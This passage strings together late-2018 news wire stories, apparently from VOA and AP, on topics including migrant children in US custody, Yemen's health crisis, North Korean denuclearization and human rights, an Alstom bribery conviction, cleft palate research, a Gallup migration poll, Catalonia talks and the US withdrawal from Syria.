11,600 children or more than 80 percent of the 14,314 migrant youth in ORR custody as of Dec. 17. The states with children in care are: Arizona, California, Connecticut, Florida, Illinois, Kansas, Massachusetts, Maryland, Michigan, New Jersey, New York, Oregon, Pennsylvania, South Carolina, Texas, Virginia and Washington state. Kids continue to enter the system, though dozens of the care providers have been sued or disciplined before for mistreating children in their care. Now new litigation is piling up as attorneys fight to get migrant children released. Staff members at a Southwest Key shelter in Phoenix allegedly physically abused three children this year, leading to the closure of the shelter in October, federal officials said. And a lawsuit filed earlier this year alleged that Latino youths at the Shenandoah Valley Juvenile Center in Virginia were beaten while handcuffed and locked up for long periods in solitary confinement, left nude and shivering in concrete cells. The American Academy of Pediatrics and many experts warn against institutionalizing children in large groups. Dr. Ryan Matlow, a Stanford clinical psychologist whose work addresses the impact of early life stress, said best practices minimize the number of children in any one shelter. "Children are being treated as cogs in a machine, and their individual backgrounds, interests and unique identities are devalued as they are lost amongst the masses. This experience then becomes internalized, with significant psychological consequences,'' said Matlow, who recently met with migrant children in custody. "There is no way in which a mass detention setting can replicate the experience and support that comes from family and community.'' The number of migrant children caught by immigration officials and then turned over to the Office of Refugee Resettlement has dropped under Trump: there were 49,100 in fiscal year 2018 compared to a high of 59,170 in fiscal year 2016, when a surge of youth crossing the border prompted the Obama administration to open emergency shelters at military bases. The average length of stay has increased, however, from about 34 days in January 2016 to around 60 days , according to government reports. In October, the average length of stay reached 89 days, according to data HHS provided to members of Congress, who shared it with AP. A new initiative in Kenya is employing refugees and displaced people to produce clean energy and become part of a market economy, instead of relying on aid. The Moving Energy Initiative helps residents in refugee camps produce the energy they need. VOA co-sponsored a recent MEI town hall at the Kakuma camp in northwestern Kenya, where residents could discuss the energy needs of their communities. Zlatica Hoke has this story. The charity Doctors Without Borders says the medical and health needs of the Yemeni population are being overshadowed and neglected by the almost single-minded focus on a looming famine in the country. Doctors Without Borders Program Manager Charles Gaudry has just returned from three weeks in Yemen. He said he was particularly struck by the extent of the needs of the population, which is paying the highest cost of more than three years of war. He said they are victims of direct violence with thousands killed and wounded by airstrikes, shootings and shelling. While this has taken a heavy toll on civilian lives, he said the indirect consequences of war are even greater. For example, he said more than 2,000 people died from the huge cholera epidemic that swept the country last year. "But there are a number of others relating to all the hospitals that have closed or have seen their services drastically reduced because of not being able to pay their staff, no longer getting supplies," he said. "So, these have disrupted maternal services.These are hospitals that no longer have a surgeon." Gaudry said more people are dying from diseases and lack of health care than they are from the war itself and there is no support for basic health services. He said he does not minimize U.N. warnings that millions of people in Yemen may be on the verge of famine. But he noted that many other humanitarian and health needs are not being addressed because of all the attention being placed on food assistance. "Things need to work for the food assistance, which is necessary today to come in," he told VOA. "And, so it is important, and it is a way to raise the attention on the situation to make sure that this is going to work. But it cannot monopolize the debate on what is needed in terms of humanitarian assistance and medical in particular." Doctors Without Borders runs a huge operation in Yemen. Its staff of more than 2,200 works in 12 hospitals and health centers across the country and provides support to more than 20 hospitals or health facilities across 11 governorates. Since the war began in March 2015, the international charity has treated more than 1.6 million people for war related injuries, diseases, chronic illnesses and has performed surgical interventions. North Korea said Thursday that it will never unilaterally give up its nuclear weapons unless the United States first removes what Pyongyang called a nuclear threat. The surprisingly blunt statement jars with Seouls more rosy presentation of the North Korean position and could rattle the already fragile diplomacy between Washington, Seoul and Pyongyang to defuse a nuclear crisis that last year had many fearing war. The latest from North Korea comes as the United States and North Korea struggle over the sequencing of the denuclearization that Washington wants and the removal of international sanctions desired by Pyongyang. The statement carried by the Norths official Korean Central News Agency also raises credibility problems for the liberal South Korean government, which has continuously claimed that North Korean leader Kim Jong Un is genuinely interested in negotiating away his nuclear weapons as Seoul tries to keep alive a positive atmosphere for dialogue. The Norths comments may also be taken up as proof of what many outside skeptics have long said: that Kim will never voluntarily relinquish an arsenal he sees as a stronger guarantee of survival than whatever security assurances the United States might provide. The statement suggests that North Korea will demand that the United States withdraw or significantly reduce the 28,500 American troops stationed in South Korea, which would be a major sticking point to a potential disarmament deal. Kim and President Donald Trump met June 12 in Singapore where they issued a vague goal for the complete denuclearization of the Korean Peninsula without describing when and how it would occur. The leaders are trying to arrange another meeting for early next year. But North Korea for decades has been pushing a concept of denuclearization that bears no resemblance to the American definition, with Pyongyang vowing to pursue nuclear development until the United States removes its troops and the nuclear umbrella defending South Korea and Japan. In Thursdays statement, the North made clear its sticking to its traditional stance on denuclearization. It accused Washington of twisting what had been agreed on in Singapore and driving post-summit talks into an impasse. Study geography The United States must now recognize the accurate meaning of the denuclearization of the Korean Peninsula, and especially, must study geography, the statement said. When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the complete denuclearization of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighboring the Korean Peninsula, the statement said. The United States removed its tactical nuclear weapons from South Korea in the 1990s. Washington and Seoul did not immediately respond to the North Korean statement. Stalled talks North Koreas reiteration of its long-standing position on denuclearization could prove to be a major setback for diplomacy, which was revived early this year following a series of provocative nuclear and missile tests that left Kim and Trump spending most of 2017 exchanging personal insults and war threats. The statement could jeopardize Trumps plan to hold a second summit with Kim early next year as it could be difficult for the United States to push negotiations further if the North ties the future of its nukes to the U.S. military presence in the South, analysts said. South Korean President Moon Jae-in, who met Kim three times this year and lobbied hard for the Trump-Kim meeting, has said that Kim wasnt demanding the withdrawal of U.S. troops from the Korean Peninsula as a precondition for abandoning his nuclear weapons. But Kim has never made such comments in public. The blunt statement could be an indicator that the North has no intentions to return to the negotiation table anytime soon, said Shin Beomchul, a senior analyst at Seouls Asan Institute for Policy Studies. Its clear that the North intends to keep its nukes and turn the diplomatic process into a bilateral arms reduction negotiation with the United States, rather than a process where it unilaterally surrenders its program. The nuclear negotiations between Washington and Pyongyang have stalled since the Trump-Kim meeting. The United States wants North Korea to provide a detailed account of nuclear and missile facilities that would be inspected and dismantled under a potential deal, while the North is insisting that sanctions be lifted first. The North Korean statement came a day after Stephen Biegun, the Trump administrations special envoy on North Korea, told reporters in South Korea that Washington was reviewing easing travel restrictions on North Korea to facilitate humanitarian shipments to help resolve the impasse in nuclear negotiations. Former Alstom executive Nicholas Reynolds was found guilty Wednesday in a UK court for his role in bribing Lithuanian officials for power station contracts. Reynolds, 53, a UK citizen, was the global sales director for Alstom Power Ltds boiler retrofits unit. He was convicted in the Blackfriars Crown Court in London of conspiracy to bribe officials in a Lithuanian power station and senior Lithuanian politicians in order to win two contracts worth $274 million to perform upgrades, the SFO said. Alstom companies paid more than $5.7 million in bribes to secure the contracts. According to the SFO, Reynolds and his co-conspirators falsified records to avoid checks in place to prevent bribery. Alstom Network UK Ltd along with Michael Anderson, Terence Watson, and Jean-Daniel Laine were acquitted of a charge in a linked investigation into alleged corruption relating to a Budapest Metro rolling stock contract, the SFO said. Earlier this year, former Alstom executives John Venskus and Goran Wikstrom were sentenced to three years and six months and two years and seven months in prison respectively for their roles in the scheme. SFO Director Lisa Osofsky said Wednesday, The culture of corruption evident within the Alstom Group was widespread. Their illicit activities to win lucrative contracts were calculated and sustained, undermining legitimate business and public trust. In 2016, a UK court ordered Alstom Power Ltd to pay $22 million in penalties, including nearly $13 million in compensation to the Lithuanian government. In the United States, Alstom paid the DOJ $772 million in 2014 to settle FCPA charges related to bribing officials in Indonesia, Saudi Arabia, Egypt, and the Bahamas. At the time, the fine was the biggest criminal penalty for FCPA offenses and the second biggest FCPA enforcement action overall. Paris-based Alstom manufactures rail, power, and energy equipment. In June 2014, Alstom agreed to sell its power business to General Electric for $15.6 billion. The SFO said Wednesday its investigation of Alstom involved cooperation with more than 30 countries. The agency said another Alstom unit was found guilty in April this year in a linked case. Alstom Network UK Ltd was convicted of one count of conspiracy for making corrupt payments to win a tram and infrastructure contract in Tunisia. A court had restricted reporting of that conviction until Wednesday. Reynolds sentencing is scheduled for December 21. ____ Harry Cassin is the managing editor of the FCPA Blog. Even before Daniel Truglio was born, his parents knew he had a cleft lip and a cleft palate. John Truglio, Daniels father, said he and his wife, Roblyn, were nervous and scared. The first thing I thought about was, Here? In the United States? Is it possible? That only happens in other places in the world, Truglio said. The Truglios had four healthy children. They learned that cleft lip and cleft palate are two of the most common birth defects worldwide. What is cleft lip or cleft palate? A cleft is a gap in the lip or roof of the mouth. Some babies have both a cleft lip and a cleft palate. Depending on the severity, it can be life-threatening. With a cleft lip, milk may come out of the babys nose while feeding. Thats because the barrier between the mouth and nose may be missing. Because of problems feeding, these children can be malnourished and have stunted growth. These babies can also face serious breathing, feeding, speech and hearing problems. They may not be able to suckle. Children with a cleft palate often have frequent ear infections that can lead to hearing loss. They often have problems with speech. Children born with these defects are often stigmatized and subject to bullying. Genetics can play a role, but no one knows why many babies are born with this defect. Scientists suspect environmental factors play a role. Babies can have surgery to repair a cleft lip in the first year of life, ideally by the time they are 3 months old. Babies can have a cleft palate repaired between the ages of 18 months to 2 years. Operation Smile More than 35 years ago, Bill Magee, a dentist and plastic surgeon, traveled to the Philippines to treat children with this condition. He eventually founded Operation Smile to help even more. When people dont have access to surgery, their life is really going to be affected, Magee told VOA. Operation Smile relies on volunteers to bring this life-changing surgery to children in developing countries. Over the years, Magee says the mission has changed. Up until about 1999, all of our volunteers pretty much came out of the United States, he said. Today, he said, 80 percent of the organizations volunteers are from the 70 or 80 countries that the charity serves. Finding a cause Other volunteer groups now do much the same work. Over the years, Operation Smile has branched out into research. Because of its work, scientists have been able to zero in on a gene that causes the cleft. Volunteers found two sisters and their brother with cleft lip and palate. Researchers at the University of Southern California studied their genes to see if they could find one that all three children shared. Dr. Yang Chai led the study. Normally, you would only see one child in the family of three or four children that develop this birth defect. Finding this birth defect in every single child in a family is like catching lightning in a bottle, because it allowed us to pinpoint the gene mutation that is probably responsible, Chai said. Researchers also found the childrens father had the same genetic mutation. He, too, had a cleft lip and cleft palate. Researchers then replicated the genetic abnormality in mice. You discover a mutation in a human study, (but) then you go to an animal model to basically mimic the same mutation, and ... if the animal model also develops the same birth defects, you have some proof this (genetic mutation) is really responsible. All of the pups born from the mice with this genetic mutation had cleft lip and cleft palate. Other causes Chai said his research can help parents prepare for their childrens surgery. Ultimately, Chai hopes scientists will one day prevent children with this mutation from having cleft lip or palate. But thats a long way off, and there are other risk factors. Genetics plays a role in 30 percent of the cases of cleft lip and cleft palate. Scientists are still searching for other environmental risk factors. Last spring, Daniel Truglio had his cleft palate repaired and another surgery on his mouth. He is getting speech therapy. Daniel was born with other associated birth defects and still faces more surgeries. His parents want other parents to know that Daniel is as lovable as their other children, and their hopes for him are the same as their hopes for the others. Roblyn Truglio said their only desire is that Daniel has a happy, wonderful life, and that hes able to accomplish his dreams. North Koreas human rights record is emerging as the latest issue separating Washington and Pyongyang, as denuclearization talks have stalled. Often condemned as having one of the worst human rights records in the world in a 2017 report, the U.S. State Department called the violations egregious North Korea has rejected such criticisms, calling them ploys to overthrow its political system. President Donald Trump said he raised North Koreas human rights issue to Kim during the Singapore summit in June and that Kim responded very well. But Trump was criticized for failing to obtain a concrete human rights agreement in the joint statement signed by the two leaders at the summit. US sanctions The latest tension is triggered by sanctions imposed by the U.S. under the maximum pressure campaign designed to push Pyongyang toward denuclearization. The North Korean Foreign Ministry said that it will block the path to denuclearization on the Korean Peninsula forever if the U.S. escalates the human rights campaign against its country and increases sanctions. The ministry said that it would be the greatest miscalculation to think such a campaign would cause it to denuclearize. The statement issued Sunday came after the U.S. Treasury Department last week blacklisted three top North Korean officials suspected of human rights abuses and censorship, including a top aide to North Korean leader Kim Jong Un. The sanctions bar the three senior officials from engaging in transactions with anyone in the U.S. and freeze their assets within U.S. jurisdiction. UN resolution On Monday, the United Nations General Assembly adopted a resolution condemning North Koreas systematic, widespread and gross violation of human rights.In response, North Koreas U.N. Ambassador Kim Song said the resolution is a product of a political plot and hostile forces, which Pyongyang categorically rejects. A State Department official said the U.S. will continue to bring up North Koreas human rights issues. The president raised North Koreas human rights record in his summit meeting with Chairman Kim (Jong Un), and will continue to raise this issue going forward, the official said in an email sent to VOA Korean Service on Monday. The official added, (North Korea) is among the most repressive authoritarian states in the world. The United States continues to work with the international community to raise awareness, highlight abuses and violations, promote access to independent information, and keep pressure on (North Korea) to respect human rights. Denuclearization talks North Koreas warning comes after denuclearization talks between Washington and Pyongyang stalled in early November when North Korea suddenly called off a planned meeting with U.S. Secretary of State Mike Pompeo. It remains unclear if the human rights issue will derail denuclearization talks. Ken Gause, director of the International Affairs Group at the Center for Naval Analyses, believes the U.S., by raising North Koreas human rights record, could disrupt denuclearization talks because Pyongyang sees the issue as undercutting agreements it made with Washington at the Singapore summit in June. I think it would be because North Korea sees the agreement at the Singapore summit as one of the agreements that the objectives, goals that they had was to improve the U.S.-North Korean relationships, and North Korea sees these actions by the United States undermining that agreement, Gause said. John Feffer, director of Foreign Policy in Focus, disagrees. He said the U.S. campaign against North Koreas human rights violations will not derail denuclearization talks but might undermine Trumps negotiating position on the process of denuclearization. I dont think that human rights issues will ultimately derail the talks, Feffer said. Ultimately, North Korea is more interested in seeking whether Trump will agree to some kind of mutual process of give and take. That is the major hurdle at this point the process. The talks will continue to limp along if the process remains murky. Robert Manning, a senior fellow at the Atlantic Council, thinks the Trump administration should delink North Koreas human rights issues from denuclearization talks in the beginning of the negotiation process, because speaking out against North Koreas human rights violations might divert diplomatic efforts. I think it is appropriate for the administration to speak out on the issue, Manning said. But not to link it to denuclearization. If the diplomacy advances, and we begin discussions on U.S.-(North Korea) normalizations, human rights has to be discussed as part of that process. Improving relations Despite its sharp retort against U.S. actions toward its alleged human rights abuses, Pyongyang credited Trumps willingness to improve relations with North Korea, suggesting it is open to talks with him. A State Department official said the Singapore agreements Trump and Kim made on denuclearization will be fulfilled. At the summit in Singapore, President Trump and Chairman Kim made the first leader-level U.S.-(North Korea) commitment on denuclearization in history, said the official in an email message sent to VOA Korean Service on Sunday. We remain confident that the commitments made by President Trump and Chairman Kim at their summit Singapore will be fulfilled. Baik Sung-won of VOAs Korean Service contributed to this report. More than 750 million people, or 15 percent of the world's population, would move permanently to other countries if given the opportunity, and the same percentage are not deterred by talk in a number of political circles about curbing immigration. These are the findings of a recent Gallup poll, which looked at the desire by people around the world to migrate. Gallup found that the desire to go to another country permanently climbed between 2015 and 2017. This marked an increase of one percent from the period spanning 2013 to 2016. Gallup conducted interviews with close to half a million people in 152 countries for the survey. Factors and motivation The reasons that motivate people to want a life away from their home countries remain the same, said Gallup's global managing partner, Jon Clifton. "The two biggest things that we see that cause people to want to leave is some sort of crisis within the country. So for example, one of the top 10 countries in the world where people want to leave is Syria; nearly 50 percent of Syrians want to leave the country permanently because they've been subjected to war." Clifton said he believed the real percentage in Syria was even higher, but not recorded in the survey, because Gallup was not able to conduct face-to-face interviewing in some areas due to the ongoing conflict. "The other reason is economics," he said. "We see that in a lot of poor countries people want to leave for economic opportunities." According to Gallup, Latin America is showing growing trends toward migration, driven to a large extent by lack of economic opportunities and concerns about safety. As an example, he cited oil-rich Venezuela, which has sunk into crisis under President Nicolas Maduro. United Nations' figures estimate an exodus of around 2 million Venezuelans this year. "Everyone is very familiar with what's been happening in Venezuela. When we ask people if they would like to move permanently, the number is moving in a staggering direction. ... So Latin America is a region where people are more likely to leave than they were before. So the trend is going in a certain way that is not helpful to leaders in the region." Gallup finds that famine and disaster also continue to drive people from their homes in some parts of the world. The desire to leave for another country increased in a number of regions known as areas of origin for migrants. Gallup listed sub-Saharan Africa, the Caribbean, the Middle East and North Africa, in addition to Latin America. Parts of Africa have had to deal with an outbreak of the deadly Ebola virus. Desired destinations The survey finds that the countries where potential migrants wish to settle are more or less the same, and share the same characteristics of economic prosperity and rule of law. "For the past 13 years that we've been doing this, we found that the No. 1 destination for migrants has always been the United States. Despite what policies and what leaders might be saying, people still see that this is one of the best economic opportunities for them in the world," Clifton said. U.S. President Donald Trump has said he wants to build a wall along the southern border with Mexico to stop migrants. The issue has been a sticking point in budget negotiations on funding the U.S. federal government. Clifton said the U.S. is a draw for many potential migrants because they have family members in the country. The Gallup poll said one in five migrants, or 158 million people worldwide, say the U.S. is their desired future home; however, the survey said one in six Americans would like to go to another country the highest number to date. Desires versus reality Gallup's Clifton notes that the Balkans exhibit high rates of migration desires, which point to increasing dissatisfaction with the situation in their respective countries. He adds that the trend is especially concerning since it's affecting the youngest and most educated segment of the population. "When you have educated people that would like to live in another country and people lacking education that want to move to your country, we see that it's a real issue in terms of brain drain or lack of brain gain. We see this as a seriously concerning issue for leaders," Clifton said. The Gallup survey said in Albania, for example, 60 percent of people surveyed expressed a desire to migrate, marking the highest rates in any European country. Clifton cited dissatisfaction over incomes as well as purchasing power. Other parts of Europe have experienced a migrant crisis in recent years with thousands of refugees and migrants dying while trying to reach the continent, said Gallup. Separately, Gallup noted that in all regions of Asia, "the percentage of adults who would like to move to another country permanently has remained flat." South Korea wants to hold smaller joint military drills with the United States next year, the defense ministry said Thursday, scaling back larger exercises as part of an effort to boost nuclear diplomacy with North Korea. The allies have suspended a number of combined military exercises this year as tensions on the Korean Peninsula eased and Washington began talks to dismantle Pyongyangs nuclear program. The North has denounced the annual drills, which in the past involved hundreds of thousands of troops, warships and aircraft, as a rehearsal for war. Computer-simulated drills With nuclear talks under way, Seoul and Washington are discussing scaling back their regular field exercises, including Foal Eagle in early 2019, and hold two computer-simulated command post drills next year, the defense ministry said. U.S. Defense Secretary Jim Mattis said last month the Foal Eagle exercise would be reorganized a bit to keep it at a level that will not be harmful to diplomacy with North Korea. The defense ministry delivered its plan to President Moon Jae-in Thursday as part of its annual policy briefing. Joint field exercises would take place all year-round after adjusting the scale, the ministry said in a statement. The plan is also expected to affect a major summer exercise known as Ulchi Freedom Guardian, which the allies suspended last year for the first time in 28 years. In his opening remarks at the briefing, Moon said South Koreas strong defense had underpinned a new chapter of history of peace on the Korean Peninsula. But its only provisional peace, he said. We have to establish unwavering, lasting peace next year. Improved relations Relations improved this year between the Communist North and rich, democratic South, technically still at war because the 1950-53 Korean War ended in a truce, not a peace treaty. They have held three leaders summits and signed a pact to establish a no-fly zone, remove landmines and guard posts near their heavily guarded border. North Korean leader Kim Jong Un also met U.S. President Donald Trump in June at a historic summit in Singapore. They vowed to work towards denuclearization, but both sides have made little progress since then. Stephen Biegun, the U.S. special representative for North Korea, said Wednesday humanitarian aid to North Korea could be expedited in a move seen aimed at reviving the stalled nuclear talks. The larger military drills could be revisited if there is no progress in the talks, said Shin Beom-chul, a senior fellow at the Asian Institute for Policy Studies in Seoul. If no progress is made by the summer, the United States would face substantial pressure at home and could try to restart the Ulchi Freedom Guardian exercise, he said. Spain's prime minister and the president of the country's Catalonia region sat down for formal meeting Thursday after intense political maneuvers to dictate the terms of the talks and whether the loaded topic of Catalan independence would be on the agenda. Spanish Prime Minister Pedro Sanchez flew to Barcelona, Catalonia's capital, to meet with the region's pro-secession president, Quim Torra. The regional leader called the meeting a "summit" between the two governments, which the Spanish side rejected. Torra greeted Sanchez with a handshake in front of the Palau de Pedralbes that once housed Spanish royalty. They spoke briefly as they walked into the former palace belongs to the regional government. Sanchez had said he wanted to focus on social and economic issues in Catalonia rather than on the region's divisive push for independence last year. Torra wanted Catalan self-determination to be on the agenda. The format of their meeting was not decided until hours before its start due to last-minute jockeying over the scope of the talks. Ultimately, it was agreed that the vice presidents of the central and regional governments, along with two other members of Sanchez and Torra's Cabinets, would hold a side meeting. But hopes for solid results were dimmer than when the two leaders last met. Their talks in Madrid in early July were described as "long, sincere and frank." The difficulty agreeing on the form of the meeting lowered observers' expectations for progress. Opposition parties on the right also have accused Sanchez of wanting to appease Catalonia's separatists in exchange for their support for his national budget. Various pro-independence groups called for protests in front of the palace and at a hotel where Sanchez was expected to attend a Catalan business forum later Thursday. Worker and student groups also called strikes for Friday, when the Spanish Cabinet at large holds its weekly meeting in Barcelona. Security in the prosperous northeastern region of 7.4 million residents, normally in the hands of the Catalan police, was reinforced with hundreds of anti-riot national police officers. The ministers' council normally takes place in Madrid, but Sanchez's center-left administration wanted to signal it has the right to conduct business anywhere on Spanish territory. Catalan authorities are supporting the protests, but said they would ensure both Sanchez's right to hold the meeting and the right of citizens to protest. Nine separatist leaders who were charged with rebellion and other offenses for their roles in a banned secession referendum and an illegal declaration of independence last year issued an open letter from prison urging Catalonia's people to take their grievances to the streets "massively, with determination and peacefully." Four of the imprisoned politicians said Thursday they were abandoning the prison hunger strike they started at the beginning of the month to call attention on what they considered unfair treatment by Spain's judiciary. Activist-turned-politician Jordi Sanchez and former Catalan Cabinet member Jordi Turull went without food for 19 days, and ex-regional ministers Josep Rull and Joaquim Forn for 17. Their spokeswoman, Pilar Calvo, said at a news conference the strike brought attention to the separatists' plight and prompted Spain's Constitutional Court to review some of their appeals. The four want to exhaust all their appeals in Spain so they can take their case to the European Court of Human Rights. The Constitutional Court had said the appeals were following the normal judicial calendar. On Thursday, it issued a new ruling, refusing to end Jordi Sanchez's preventive jailing and denying that the case could be compared to that of a Kurdish politician in Turkey. In Geneva, former Catalan President Carles Puigdemont, who has become one of the most prominent voices of the Catalan separatist movement, announced that he and five other Catalan politicians were filing a complaint to the U.N.'s Human Rights Committee because they consider that Spain violated their democratic rights as elected officials. Puigdemont has fought off extradition to Spain after he fled to Belgium shortly after the secession attempt in 2017. He later won a seat in the Catalan parliament while campaigning from abroad but faces immediate arrest if he returns to Spain, where he is sought for rebellion. Referring to the volatility of the situation in Catalonia, Puigdemont told reporters that Catalonia's pro-independence movement "doesn't have to show its commitment to non-violence" after one decade of massive peaceful demonstrations. The announcement Wednesday by the White House that the U.S. has defeated Islamic State (IS) in Syria and begun withdrawing troops from the country took many by surprise. The Syrian civil war, now in its eighth year, is further complicated by the actions within its borders by four other countries: the U.S., Russia, Iran and Turkey. Why is the U.S. involved in Syria? The U.S. mission in Syria has always been to defeat Islamic State, which in 2014 took over vast swaths of Iraq and Syria. The United States has about 2,000 troops, mostly special forces, located mainly in northeast Syria. The troops act as advisers and provide support, including air power and weapons, for local militias, such as the Syrian Democratic Forces (SDF), which is also fighting IS. Washington had given support weapons and training to moderate rebel groups fighting the regime of President Bashar al-Assad, but ended that support earlier this year. The U.S. also leads a coalition of nearly 60 countries, the Global Coalition to Defeat ISIS, that has targeted IS and other extremist groups with airstrikes since late 2014. Why is Russia involved? Russia, a longtime Syrian ally, entered the conflict in Syria in 2015, offering the Assad regime weapons and air support, as well as troops on the ground. Some also see Russias involvement as President Vladimir Putin asserting himself on the world stage, and a way for Russia to be an influence in the region. When it began its air campaign in Syria, Moscow said it was targeting terrorists, which they said included IS and other terrorist groups. The U.S.-led coalition, however, said Russian airstrikes were targeting the non-IS rebel forces battling Assads government. Why is Iran involved? Irans engagement in Syria began gradually since the start of the countrys civil war in 2011, initially in the form of providing military advisers to the Syrian regime. The engagement later morphed into a full-scale military intervention where the regime sent its forces and employed its proxies to fight alongside Assad to crack down on the various Syrian rebel groups in the country. By supporting Assad, Tehran has been able to maintain a regional presence against rivals Saudi Arabia and Israel. In October, U.S. lawmakers voiced concerns that Tehran might be in the process of establishing a long-term presence in Syria. According to a report published by the U.S. Department of State in October, Iran has spent about $16 billion to destabilize the Middle East by funding proxy wars in different countries including Yemen, Iraq and Syria. Why is Turkey involved? Turkey has supported non-Kurdish Syrian opposition groups, such as the Free Syrian Army (FSA), since the civil war began. They fear gains made by Kurdish groups in Syria would embolden the Kurdish population in Turkey to seek independence. Turkey launched two military operations to help Syrian rebels recapture territory in Syria from Islamic State and the mostly Kurdish militia in Syria, the YPG, in August 2016 and January 2018. President Recep Tayyip Erdogan signaled earlier this month that Turkish forces may soon launch a new operation against U.S.-backed Syrian Kurdish militias in northern Syria, which is where most U.S. troops are based. While Turkey is part of the U.S.-led coalition battling IS, the cooperation between U.S. and SDF forces has strained relations between Ankara and Washington. Nisan Ahmado of VOAs South and Central Asia division contributed to this report. Some Syrian Kurdish officials and residents voiced concerns Wednesday that the withdrawal of U.S. troops from Syria, announced earlier in the day by the White House, could affect the war on the Islamic State terror group and create yet another conflict in the war-torn country. The United States has about 2,000 troops in Syria, in areas under the control of Kurdish forces in the country. The cooperation has been instrumental in the fight against IS. U.S. troops, made up of mostly special operations forces, have been working closely with the Syrian Democratic Forces (SDF), a Kurdish-dominated alliance that has been an effective force in the war on IS. An SDF official who requested anonymity told VOA that the U.S. statement surprised the alliance. "Even U.S. officials working with us inside Syria were surprised by this. Unfortunately, this will empower Iran and increase its influence in Syria and beyond. And thus it will also weaken pro-American actors in Syria and in the region, including Turkey," the official said in a phone interview. Empowering Assad Ibrahim Biro, an official with the Kurdish National Council, an opposition group in Syria, said the U.S. move would most likely empower the regime of Syrian President Bashar al-Assad. "We were hoping that the U.S. presence would contribute to finding a political settlement in Syria," Biro told VOA. "But if the Americans are leaving, then al-Assad forces are likely to take full control of our region." Since 2012, when Syrian regime troops withdrew to focus on fighting rebels elsewhere, Syrian Kurdish forces have been in control of areas in the northern and northeastern parts of the country. Residents in northeast Syria expressed concern that an American withdrawal might result in an increased instability in the country and the region. "There was a genuine thinking among people that the U.S. presence was a safety valve that prevented catastrophic wars in our region," said Sherin Ibrahim, a journalist at Arta FM, a radio station that broadcasts to northeastern Syria. "But after the decision was made, we are now in a state of shock and gravely concerned about what could happen next," she told VOA. Ibrahim added that "people in northeast Syria really hope that the U.S. administration could reverse its decision to withdraw from Syria. Otherwise, a humanitarian disaster would be inevitable." WATCH: Civilians in N. Syria Say US Troop Exit Undermines Stability In announcing the U.S. withdrawal, President Donald Trump said the U.S. had defeated IS in Syria. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," he said in a tweet, using an acronym for the militant group. But local officials and analysts in the region said the war on IS was not over and that the terror group still threatened parts of Syria. "The decision will reflect on the fight against IS," said Amjad Othman, a spokesman for the Syrian Democratic Council, the political wing of the SDF. IS "has not been defeated entirely. But regardless of that, the phase after [IS] is even more critical to ensure stability. So the timing of this move is not good at all," he told VOA in a phone interview. "This is a dangerous move," said Radwan Badini, a professor of journalism at Salahaddin University in Irbil, Iraqi Kurdistan. "The war on [IS] is far from over. But a U.S. withdrawal from eastern Syria would certainly leave the door open on all options." Fears of retaliation Badini told VOA that northeastern Syria is "an ethnically diverse region with many people still sympathizing with [IS]. So the U.S. move to pull out from Syria could inspire some people to retaliate against others who cooperated with the Americans in the fight against [IS]." Fighting continues in eastern Syria as SDF fighters are trying to advance against IS in its last major stronghold in the country. Local military officials said the operation would continue until IS militants had been pushed out from the town of Hajin and several nearby villages, including Sosa, Baghouz and Shifa'a in the Middle Euphrates River Valley. The development came days after Turkish President Recep Tayyip Erdogan announced his plans for a new military offensive against the U.S.-backed Kurdish People's Protection Units (YPG) in northeast Syria. Turkey views the YPG as an extension of the Turkey-based Kurdistan Workers' Party (PKK), which has been engaged in a bloody war with the Turkish military for three decades. Both Ankara and Washington consider the PKK a terrorist organization. WATCH: Why Turkey Is Attacking the YPG The U.S., however, makes a distinction between the PKK and YPG, providing military support to the latter in its fight against IS. The YPG is the main element within the SDF. "We will see how the U.S. will continue giving support [to the YPG]," said Nihat Ali Ozcan, a former Turkish military commander. "The U.S. can still support the YPG from the air or it can make a movement against a third party's intervention from its own military bases. If [the YPG] is able to protect the security structure that the U.S. will leave behind east of the Euphrates, then the U.S. would move accordingly," he told VOA. VOA's Kurdish and Turkish services contributed to this report. In a series of tweets early Thursday, President Donald Trump defended his decision to start withdrawing U.S. troops from Syria, saying the U.S. does not want to be "the Policeman of the Middle East." Responding to criticism from legislators and pundits, Trump says the U.S. presence in Syria is getting the U.S. "NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing?" The president described Russia, Iran and Syria as the "local enemy of ISIS" and said "we were doing there [sic] work." Without offering specifics, Trump declared a U.S. victory Wednesday over the Islamic State terror group, which was followed by a White House announcement the U.S. had started bringing U.S. troops in the war-torn country back home. Until now, U.S. troops in Syria had been working closely with an alliance of Kurdish and Arab militias known as the Syrian Democratic Forces. White House officials maintain the SDF and other partner forces will be responsible for eliminating the last pockets of IS-controlled territory. The SDF issued a statement Thursday, though, rejecting Trump's assertion that Islamic State has been defeated, and saying a U.S. withdrawal would allow for a resurgence of the group. Russian President Vladimir Putin welcomed Trump's decision Thursday, reiterating his government's position that U.S. forces were not welcome in Syria. He also cited the U.S. presence in Afghanistan to express skepticism about whether the troops deployed in Syria would actually leave. Trump's announcement Wednesday triggered a stream of criticism from some defense and diplomatic officials, as well as lawmakers, who were surprised. "It blindsided me," said South Carolina Republican Sen. Lindsey Graham, usually a Trump ally. "We have started returning United States troops home as we transition to the next phase of this campaign," White House Press Secretary Sarah Sanders said, adding the defeat of IS did not mean the military campaign by coalition forces is ending in Syria. Hours later, Pentagon spokesperson Dana White said in a statement "the coalition has liberated ISIS-held territory, but the campaign against ISIS is not over." By late Wednesday, Trump weighed in again, releasing a video statement. "We have won against ISIS. We've beaten them and we've beaten them badly," the president said. Neither the White House nor the Pentagon would say how long it would take to safely withdraw all U.S. forces from Syria. White House officials also said that IS fighters continue clinging to one last pocket of territory in northeastern Syria, though they insist the terror group was not mounting enough resistance to postpone a declaration of victory. Just last week, Brett McGurk, U.S. special presidential envoy for the Global Coalition to Defeat ISIS, told reporters at the State Department that liberating the last one percent of IS-held territory could take "a period of months." Pentagon estimates from August of this year also warned IS still had at least 13,000 fighters in Syria, where the caliphate had already collapsed. Defense Secretary Jim Mattis and other senior U.S. officials also have been advocating for a longer-term military presence in Syria to help ensure IS cannot re-emerge as a force in the Middle East. The U.S. withdrawal also raises questions about the fate of hundreds of IS foreign fighters who have been taken prisoner and are currently in SDF custody. Many governments have refused to take them back, and there is a chance what is left of the SDF could set them free without the prospect of any U.S. support. International reaction to the U.S. announcement has been mixed, with Britain noting progress made in the fight against IS and France pledging to continue the fight. As for the next phase of the U.S. fight against IS, administration officials 